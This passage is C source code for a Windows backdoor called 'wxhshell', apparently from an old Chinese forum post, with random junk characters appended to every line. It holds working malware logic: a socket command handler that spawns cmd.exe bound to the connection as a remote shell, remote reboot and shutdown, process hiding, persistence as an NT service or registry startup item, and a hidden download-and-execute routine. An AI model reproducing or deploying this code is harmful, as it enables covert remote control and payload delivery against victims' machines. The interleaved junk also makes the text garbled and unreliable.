-)%l{@Mr  
    switch(cmd[0]) { qaK9E@l  
  BU|=`Kb|))  
  // 帮助 ?#|Y'%a"  
  case '?': { M7R.? nk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J!sIxwF  
    break; 'bN\8t\S  
  } BbA7X  
  // 安装 B4k ~~;|  
  case 'i': { `9;:mR $  
    if(Install()) ^6=y4t=%F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y*-#yG9  
    else SH# -3&$[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8r@_b  
    break; #Z8=z*4  
    } o#V}l^uU=  
  // 卸载 Gni<@;}  
  case 'r': { #QdBI{2  
    if(Uninstall()) @y,pf Wh`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_CY=DHF%`  
    else D+Osz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7MXi_V;p<  
    break; eR,ePyA;  
    } 5[Sa7Mk  
  // 显示 wxhshell 所在路径 }?zy*yL  
  case 'p': { 0Da9,&D  
    char svExeFile[MAX_PATH]; }^).Y7{g[  
    strcpy(svExeFile,"\n\r"); gzS6{570  
      strcat(svExeFile,ExeFile); XW]'by  
        send(wsh,svExeFile,strlen(svExeFile),0); ?1\rf$l8  
    break; ?Rlo<f:Mf  
    } +{ Q]$b  
  // 重启 .W _'6Q+  
  case 'b': { KiN8N=z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^8p=g -U\  
    if(Boot(REBOOT)) 2l5>>yY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0fhz7\a^_<  
    else { E<u6 js,  
    closesocket(wsh); +Tnn'^4  
    ExitThread(0); Gh3b*O_,  
    } d>j`|(\  
    break; :q_(=EA  
    } sTx23RJ9  
  // 关机 K&2{k+ w  
  case 'd': { 4\qnCf3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *c<=IcA  
    if(Boot(SHUTDOWN)) .!yXto:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [=dK%7v  
    else { WEgJ_dB  
    closesocket(wsh); &jJj6 +P\  
    ExitThread(0); $j? zEz  
    } _]~`t+W'DJ  
    break; 15NeC7GAh  
    } j9FG)0  
  // 获取shell k+ Shhe1  
  case 's': { kXw&*B-/  
    CmdShell(wsh); "`l8*]z  
    closesocket(wsh); B}n tD  
    ExitThread(0); neN #Mo'A  
    break; V\U,PNkZQ  
  } 7noxUGmFw  
  // 退出 0Z.bd=H  
  case 'x': { X?PcEAi;w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +6dq+8msF  
    CloseIt(wsh); y8j wfO3  
    break; >K<n~;ON|  
    } luNEgCq  
  // 离开 UVND1XV^f  
  case 'q': { Yyl(<,Yi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x+niY;Z E  
    closesocket(wsh); y7a84)j3  
    WSACleanup(); WvV!F?uqZ  
    exit(1); %Z T@&  
    break; [T|_J$ ;  
        } RM/q\100  
  } H{ Fww4pn  
  } 0$8iWL  
Mi+<|5is  
  // 提示信息 ;- ~}g7$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fp3NWvu  
} (-'Jf#&X^  
  } <kJ,E[4`  
AmSrc.  
  return; ^*!Tq&Dst|  
} {<f |h)r  
Yz6+ x]  
// shell模块句柄 *qM)[XO  
int CmdShell(SOCKET sock) m-%.LDqM  
{ u">KE6um  
STARTUPINFO si; fa~4+jx>S  
ZeroMemory(&si,sizeof(si)); U]!~C 1cmw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,E YB E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FVi7gg.?  
PROCESS_INFORMATION ProcessInfo; Pra,r9h,  
char cmdline[]="cmd"; {,kA'Px)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZboY]1L[j  
  return 0; NR </Jm*  
}  D`Tx,^E  
~yrEB:w`_  
// 自身启动模式 yL ?dC"c  
int StartFromService(void) G a1B&@T  
{ 9c `Vrlu  
typedef struct >ZX&2 {  
{ 2h:*lV^  
  DWORD ExitStatus; WoYXXYP/E  
  DWORD PebBaseAddress; >)V1aLu=  
  DWORD AffinityMask; YfB8  
  DWORD BasePriority; QC/%|M0 {  
  ULONG UniqueProcessId; > St]MS  
  ULONG InheritedFromUniqueProcessId; 5 5$J% ;&  
}   PROCESS_BASIC_INFORMATION; )HaW# ,XB  
]Ak/:pu  
PROCNTQSIP NtQueryInformationProcess; Zt3Y<3o  
w-2?|XvDmf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;:)1:Dy5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y/|wOm;|  
g#??Mz   
  HANDLE             hProcess; o8Q+hZB}A  
  PROCESS_BASIC_INFORMATION pbi; Zndv!z  
OhNEt>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i.~*G8!DM  
  if(NULL == hInst ) return 0; c5vi Y|C^  
2|n)ZP2cp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p`oSI}ZwB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kimqm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %d%$jF`  
Ug2^cgL  
  if (!NtQueryInformationProcess) return 0; ?G|*=-8  
v;=| -y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `XmT)C  
  if(!hProcess) return 0; PPj_NV  
295U<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u)NmjW  
:h(r2?=7  
  CloseHandle(hProcess);  xRTr@  
Y1=.46Ezf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j B.ZF7q  
if(hProcess==NULL) return 0; n#\ t_/\  
KV1/!r+*  
HMODULE hMod; b@p3iq:  
char procName[255]; VH>?%aL  
unsigned long cbNeeded; .UdoB`@!v=  
=&9x}4`;%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !%8|R]d  
+?&|p0  
  CloseHandle(hProcess); 8M5a&35J"  
,.Sd)JB'  
if(strstr(procName,"services")) return 1; // 以服务启动 :\Pk>a  
8D)I~0\  
  return 0; // 注册表启动 62YT)/i3  
} =W*Js%4  
}\-"L/D?+  
// 主模块 w%Bo7 'o)V  
int StartWxhshell(LPSTR lpCmdLine) 8dBG ZwyET  
{ JsDugn ,B  
  SOCKET wsl; e [}m@a  
BOOL val=TRUE; BZdryk:S  
  int port=0; |^&j'k+A  
  struct sockaddr_in door; "3\C;B6I  
$VgazUH% =  
  if(wscfg.ws_autoins) Install(); 4Iq-4IG(  
ytsPk2@WR  
port=atoi(lpCmdLine); 7K.in3M(  
!+F6Bf  
if(port<=0) port=wscfg.ws_port; Bkq3-rX\  
ea\b7a*  
  WSADATA data; JiXkW%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ "IjT'W3  
xklXV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P.j0Xlof  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `3QAXDWE  
  door.sin_family = AF_INET; Y +[Z,   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L)mb.U$`c|  
  door.sin_port = htons(port); r6u ) 6J=  
c^%vyBMY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uiz#QGt  
closesocket(wsl); XZ3)gYQi  
return 1; E\GD hfTQ  
} 9^AfT>b~f  
eHt |O~  
  if(listen(wsl,2) == INVALID_SOCKET) { --t5jSS44  
closesocket(wsl); .3Ag6YI0N  
return 1; Z: e|~#  
} 0</]Jo%  
  Wxhshell(wsl);  '7j!B1K-  
  WSACleanup(); !.^%*6f  
~"t33U6  
return 0; 5PCMxjon  
k`u:Cz#aB  
} X (0`"rjg  
L{i,.aE/nO  
// 以NT服务方式启动 =ghN)[AZV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *pOdM0AE  
{ .=u8`,sO  
DWORD   status = 0; sC^9  
  DWORD   specificError = 0xfffffff; jQ 'r};;  
!K0:0:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zHT22o56X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <h vVh9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r\x"nS  
  serviceStatus.dwWin32ExitCode     = 0; `'gadCTb=  
  serviceStatus.dwServiceSpecificExitCode = 0; 2rG;j52))a  
  serviceStatus.dwCheckPoint       = 0; InCJ4D  
  serviceStatus.dwWaitHint       = 0; /Ayo78Pi  
E#T6rd P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FVw4BUOmi  
  if (hServiceStatusHandle==0) return; :v(fgS2\  
.]IidsgM  
status = GetLastError(); SZ*Nr=X  
  if (status!=NO_ERROR) P%nN#Qm  
{ );~JyoDo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m%[Ul@!V  
    serviceStatus.dwCheckPoint       = 0; :I)WSXP9h  
    serviceStatus.dwWaitHint       = 0; jH4'jB  
    serviceStatus.dwWin32ExitCode     = status; B7R*g,(  
    serviceStatus.dwServiceSpecificExitCode = specificError; = MP?aH [  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;%/Kh :Vg  
    return; b;AGw3SF  
  } e 2@{Ab  
jIOrB}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x U1](O  
  serviceStatus.dwCheckPoint       = 0; ux 7^PTgcO  
  serviceStatus.dwWaitHint       = 0; G[[hC[}I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;hcOD4or  
} uv}?8$<\  
10C,\  
// 处理NT服务事件,比如:启动、停止 vp#AD9h1  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  oRbG6Vv/  
{ G5R"5d'  
switch(fdwControl) :hA=(iz  
{ |hlc#t ?  
case SERVICE_CONTROL_STOP: ];n3H~2  
  serviceStatus.dwWin32ExitCode = 0; 7[)IP:I>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R54wNm @  
  serviceStatus.dwCheckPoint   = 0;  Q9!T@  
  serviceStatus.dwWaitHint     = 0; , (Bo .(]  
  { c-dOb.v0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -#e3aXe  
  } |d@%Vb_  
  return;  #"6O3.P  
case SERVICE_CONTROL_PAUSE: c[h{C!d1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \TF='@u.  
  break; ;#goC N.  
case SERVICE_CONTROL_CONTINUE: 3a_=e B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rb8wq.LqD  
  break; 8pEiU/V  
case SERVICE_CONTROL_INTERROGATE: Tw{}Ht_Qq  
  break; v_7?Zik8E  
}; [J`%i U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^/H9`z;  
} Hfw*\=p  
?m RGFS  
// 标准应用程序主函数 I1 Jo8s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 42{\u08Z  
{ @Z fQ)q\  
a*oqhOTQ  
// 获取操作系统版本 B]""%&! O  
OsIsNt=GetOsVer(); ^V1iOf:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xlW`4\ Pa  
@5i m*ubzM  
  // 从命令行安装 2^\67@9  
  if(strpbrk(lpCmdLine,"iI")) Install(); S*5hO) C  
bJ$6[H-:  
  // 下载执行文件 oXQzCjX_   
if(wscfg.ws_downexe) { R'#1|eWCa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k /hD2tBLu  
  WinExec(wscfg.ws_filenam,SW_HIDE); de&*#O5  
} d5hYOhO[  
&m8#^]*  
if(!OsIsNt) { Tgf#I*(^]  
// 如果时win9x,隐藏进程并且设置为注册表启动  dkr[B' n  
HideProc(); 8H%-/2NW  
StartWxhshell(lpCmdLine); )$.::[pNA  
} .d4L@{V  
else 9;L5#/E  
  if(StartFromService()) fs:%L  
  // 以服务方式启动 \9Z1'W  
  StartServiceCtrlDispatcher(DispatchTable); pr;z>|FgA>  
else &N`s@Ka  
  // 普通方式启动 K ]  
  StartWxhshell(lpCmdLine); mw[  
HVq02 Z  
return 0; 6 G^x%s  
}
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只看该作者 1 发表于: 2006-10-10
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